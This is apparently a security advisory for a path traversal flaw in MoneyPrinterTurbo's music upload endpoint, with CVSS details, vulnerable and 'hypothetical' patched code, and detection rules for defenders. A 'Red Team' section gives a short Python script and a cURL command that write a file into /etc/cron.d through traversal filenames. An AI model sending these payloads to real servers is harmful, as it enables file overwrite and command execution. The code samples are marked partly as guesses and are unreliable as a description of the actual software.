CVE-2025-11607

Executive Summary

CVE-2025-11607 identifies a critical path traversal vulnerability in the upload_music function of the MoneyPrinterTurbo application (up to version 1.2.6), developed by Harry0703. The flaw resides in the file app/controllers/v1/music.py, where the File argument is not properly sanitized, allowing an attacker to manipulate file paths and traverse outside the intended upload directory. This vulnerability can be exploited remotely without authentication, leading to unauthorized read, write, or deletion of arbitrary files on the server. The exploit has been publicly disclosed, increasing the risk of active attacks. The EPSS score is 0.0%, indicating low exploitation probability at this time, but the public availability of the exploit warrants immediate attention.

Supply Chain & Package Security

MoneyPrinterTurbo is a Python-based application, likely distributed via PyPI or GitHub. The vulnerability in the core application code poses a direct risk to any deployment. Organizations using this package should verify their version and apply any available patches or mitigations immediately. The lack of an official patch from the vendor (Harry0703) means that users must rely on workarounds or custom fixes.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited file read access.
• Integrity Impact: Low (I:L) – Limited file modification.
• Availability Impact: Low (A:L) – Limited file deletion or service disruption.

Threat Level: Medium. The vulnerability is easy to exploit remotely, but the impact is limited to low-level file system access. However, combined with other vulnerabilities, it could lead to more severe consequences.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the upload_music endpoint. The application accepts a file upload via the File parameter and processes it without validating the file path. An attacker can craft a filename containing path traversal sequences (e.g., ../../etc/passwd) to write files outside the intended upload directory. Similarly, if the application reads or deletes files based on user input, the same traversal can be used to access sensitive system files.

Root Cause: The upload_music function in app/controllers/v1/music.py does not sanitize the File argument. It likely uses the filename directly in file operations without checking for ../ sequences or absolute paths.

Attack Scenario:

1. An attacker sends a POST request to the /v1/music/upload endpoint with a malicious filename.
2. The server processes the filename and writes the file to a path like /uploads/../../etc/cron.d/malicious.
3. The attacker can then execute arbitrary commands or read sensitive files.

Vulnerable vs. Patched Code

Vulnerable Code (app/controllers/v1/music.py):

def upload_music():
    file = request.files['File']
    filename = file.filename
    # No sanitization of filename
    file.save(os.path.join(UPLOAD_DIR, filename))
    return jsonify({"message": "Upload successful"})

Patched Code (Hypothetical Fix):

import os
import re

def upload_music():
    file = request.files['File']
    filename = file.filename
    # Sanitize filename: remove path traversal sequences
    sanitized_filename = re.sub(r'[^a-zA-Z0-9._-]', '', filename)
    # Ensure the file is saved within the upload directory
    file_path = os.path.normpath(os.path.join(UPLOAD_DIR, sanitized_filename))
    if not file_path.startswith(UPLOAD_DIR):
        return jsonify({"error": "Invalid filename"}), 400
    file.save(file_path)
    return jsonify({"message": "Upload successful"})

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running MoneyPrinterTurbo <= 1.2.6
• Network access to the /v1/music/upload endpoint

Exploit Script (Python):

import requests

target_url = "http://target.com/v1/music/upload"
payload = {"File": ("../../etc/cron.d/malicious", "malicious content", "text/plain")}

response = requests.post(target_url, files=payload)
print(response.text)

Explanation: This script sends a POST request with a filename containing path traversal sequences. The server writes the file to /etc/cron.d/malicious, potentially allowing command execution via cron.

Alternative Exploit (cURL):

curl -X POST -F "File=@malicious.txt;filename=../../etc/cron.d/malicious" http://target.com/v1/music/upload

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to /v1/music/upload with filenames containing ../ or absolute paths.
• Use WAF rules to block path traversal patterns in file uploads.
• Enable logging of file operations and monitor for unexpected file writes.

Defense:

• Apply input validation and sanitization on all file uploads.
• Use a whitelist of allowed characters for filenames.
• Store uploaded files in a dedicated directory with restricted permissions.
• Implement a reverse proxy or WAF to filter malicious requests.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /v1/music/upload with filenames containing ../ or ..\\
  • Unusual file writes to system directories (e.g., /etc/, /var/www/)
• File System IOCs:
  • Unexpected files in /etc/cron.d/, /tmp/, or other sensitive directories
  • Files with names containing path traversal sequences
• Log IOCs:
  • Log entries showing file operations outside the upload directory
  • Error messages related to file path validation failures

Detection Engineering

YARA Rule

rule CVE_2025_11607_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in MoneyPrinterTurbo upload_music endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11607"
    strings:
        $traversal1 = "../" ascii wide
        $traversal2 = "..\\" ascii wide
        $traversal3 = "/etc/" ascii wide
        $traversal4 = "/var/" ascii wide
        $traversal5 = "/proc/" ascii wide
    condition:
        any of ($traversal*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-11607 Path Traversal in MoneyPrinterTurbo
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in MoneyPrinterTurbo upload_music endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11607
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v1/music/upload'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '/etc/'
            - '/var/'
    condition: selection
falsepositives:
    - Legitimate file names containing these patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11607 Path Traversal in MoneyPrinterTurbo"; flow:to_server,established; content:"POST"; http_method; content:"/v1/music/upload"; http_uri; content:"../"; http_client_body; sid:1000001; rev:1; reference:cve,2025-11607;)

Remediation & Mitigation

Immediate Actions:

1. Disable the upload endpoint if not required: Block access to /v1/music/upload via firewall or web server configuration.
2. Apply input validation: Sanitize filenames to remove path traversal sequences (e.g., ../, ..\\, absolute paths).
3. Use a secure file storage mechanism: Store uploaded files in a dedicated directory with restricted permissions and use random filenames.

Long-term Fix:

• The vendor (Harry0703) should release a patched version that properly sanitizes file paths.
• Implement a whitelist of allowed characters for filenames.
• Use a library like secure_filename from Werkzeug (Flask) to sanitize filenames.

Workaround:

• If patching is not possible, deploy a Web Application Firewall (WAF) with rules to block path traversal patterns in file uploads.

Valters IT